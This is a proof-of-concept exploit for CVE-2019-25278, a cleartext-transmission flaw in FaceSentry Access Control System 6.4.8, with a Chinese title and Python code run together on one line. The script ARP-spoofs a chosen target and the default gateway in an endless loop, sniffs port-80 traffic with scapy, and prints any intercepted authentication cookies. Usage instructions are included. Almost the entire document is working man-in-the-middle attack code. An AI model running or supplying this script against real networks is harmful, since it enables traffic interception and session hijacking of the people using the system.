CVE-2019-25278 FaceSentry访问控制系统明文传输漏洞

# CVE-2019-25278 PoC - Man-in-the-Middle Attack to Intercept Authentication Cookie # Target: FaceSentry Access Control System 6.4.8 # This PoC demonstrates credential interception via network sniffing import scapy.all as scapy from scapy.layers import http import netifaces def get_default_gateway(): """Get the default gateway IP address.""" gws = netifaces.gateways() return gws.get('default', {}).get(netifaces.AF_INET, (None, None))[0] def spoof_target(target_ip, spoof_ip, target_mac): """ARP spoof the target to redirect traffic through attacker.""" packet = scapy.Ether(dst=target_mac) / scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip) scapy.sendp(packet, verbose=False) def capture_http_cookies(packet): """Capture HTTP cookies from intercepted packets.""" if packet.haslayer(http.HTTPRequest): http_layer = packet.getlayer(http.HTTPRequest) host = http_layer.Host.decode('utf-8', 'ignore') if http_layer.Host else '' path = http_layer.Path.decode('utf-8', 'ignore') if http_layer.Path else '' # Check for Cookie header if packet.haslayer(scapy.Raw): payload = packet.getlayer(scapy.Raw).load.decode('utf-8', 'ignore') if 'Cookie:' in payload or 'cookie:' in payload: print(f"[*] HTTP Request to {host}{path}") print(f"[*] Cookie Found: {payload}") return payload return None def sniff_credentials(interface, target_ip, gateway_ip): """Sniff network traffic for authentication cookies.""" print(f"[*] Starting MITM attack against {target_ip}") print(f"[*] Gateway: {gateway_ip}") print(f"[*] Sniffing on interface: {interface}") # ARP spoofing target_mac = scapy.getmacbyip(target_ip) import threading def arp_spoof(): while True: spoof_target(target_ip, gateway_ip, target_mac) spoof_target(gateway_ip, target_ip, scapy.getmacbyip(gateway_ip)) spoof_thread = threading.Thread(target=arp_spoof, daemon=True) spoof_thread.start() # Sniff HTTP traffic scapy.sniff(iface=interface, store=False, prn=capture_http_cookies, filter='tcp port 80') if __name__ == "__main__": import sys if len(sys.argv) < 3: print("Usage: python cve_2019_25278_poc.py <target_ip> <interface>") print("Example: python cve_2019_25278_poc.py 192.168.1.100 eth0") sys.exit(1) target_ip = sys.argv[1] interface = sys.argv[2] gateway_ip = get_default_gateway() sniff_credentials(interface, target_ip, gateway_ip)